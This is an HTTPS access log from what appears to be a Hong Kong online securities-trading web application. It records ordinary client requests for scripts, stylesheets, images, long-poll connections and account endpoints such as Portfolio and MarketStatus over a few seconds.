[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:35:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922790588 HTTP/1.1" -
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922788265 HTTP/1.1" 3188
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 231
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922790783 HTTP/1.1" -
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922790641 HTTP/1.1" -
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1286
[09/Jan/2026:09:35:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922806244 HTTP/1.1" -
[09/Jan/2026:09:35:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922795725 HTTP/1.1" -
[09/Jan/2026:09:35:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922793047 HTTP/1.1" -
[09/Jan/2026:09:35:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html HTTP/1.1" 3578
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:35:26 +0800] 27.115.124.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:35:26 +0800] 27.115.124.101 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:09:35:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
